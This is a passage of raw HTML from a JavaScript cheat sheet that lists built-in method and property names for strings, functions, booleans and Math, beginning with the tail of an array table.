</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toSource()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
push()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toString()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
reverse()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
unshift()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
shift()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
valueOf()</div>
</td></tr>
</tbody></table>
<div style="border: 0px; font-family: inherit; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<h3 class="cheat_sheet_output_title" id="title_7_119" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: #333333; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">JavaScript Strings</span></h3>
<div class="cheat_sheet_output_block" id="block_7_119" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_twocol" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
charAt()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
slice()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
charCodeAt()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
split() x</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
concat()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
substr()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
fromCharCode()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
substring()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
indexOf()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toLowerCase()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
lastIndexOf()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toUpperCase()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
length</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toLocaleLowerCase()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
localeCompare()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toLocaleUpperCase()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
match() x</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toSource()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
replace() x</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
valueOf()</div>
</td></tr>
</tbody></table>
<div style="border: 0px; font-family: inherit; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<h3 class="cheat_sheet_output_title" id="title_7_118" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: #333333; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">JavaScript Functions</span></h3>
<div class="cheat_sheet_output_block" id="block_7_118" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_twocol" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
decodeURI()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
isNaN()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
decodeURIComponent()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Number()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
encodeURI()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
parseFloat()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
encodeURIComponent()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
parseInt()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
escape()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
String()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
eval()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
unescape()</div>
</td></tr>
</tbody></table>
<div style="border: 0px; font-family: inherit; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<h3 class="cheat_sheet_output_title" id="title_7_122" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: #333333; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">JavaScript Booleans</span></h3>
<div class="cheat_sheet_output_block" id="block_7_122" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_twocol" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toSource()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
valueOf()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toString()</div>
</td></tr>
</tbody></table>
<div style="border: 0px; font-family: inherit; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<h3 class="cheat_sheet_output_title" id="title_7_117" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: #333333; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">JavaScript Numbers and Maths</span></h3>
<div class="cheat_sheet_output_block" id="block_7_117" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_twocol" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
abs()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
min()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
acos()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
NEGATIVE_INFINITY</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
asin()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
PI</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
atan()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
POSITIVE_INFINITY</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
atan2()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
pow()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
ceil()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
random()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
cos()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
round()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
E</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
sin()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
exp()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
sqrt()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
floor()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
SQRT1_2</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
LN10</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
SQRT2</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
LN2</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
tan()</div>
</td></tr>
